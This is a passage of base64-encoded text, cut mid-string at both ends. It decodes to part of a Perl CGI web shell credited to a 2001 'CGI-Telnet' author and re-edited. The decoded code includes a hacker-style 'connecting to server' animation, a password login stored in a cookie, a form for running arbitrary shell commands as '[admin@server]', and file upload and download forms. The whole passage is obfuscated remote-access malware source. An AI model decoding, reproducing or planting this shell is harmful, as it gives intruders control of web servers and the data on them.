gcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJH